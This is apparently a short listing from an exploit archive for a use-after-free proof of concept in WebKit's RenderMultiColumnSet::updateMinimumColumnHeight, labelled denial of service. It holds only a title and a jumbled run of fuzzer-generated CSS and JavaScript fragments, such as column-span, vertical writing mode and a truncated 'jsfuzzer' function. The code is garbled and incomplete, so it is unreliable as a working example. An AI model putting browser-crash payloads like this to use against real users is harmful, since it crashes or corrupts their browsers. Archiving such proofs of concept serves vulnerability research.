WebKit - WebCore::RenderMultiColumnSet::updateMinimumColumnHeight Use-After-Free Exploit

Exploit for multiple platform in category dos / poc htmlvar00002, htmlvar00006 column-span: all; :root 1px; position: fixed; -webkit-column-width: 1px; .class2 text-indent: -webkit-shape-margin: 0px; -webkit-writing-mode: vertical-rl; '.' defselement, .class8 display: grid; 1s; function jsfuzzer ...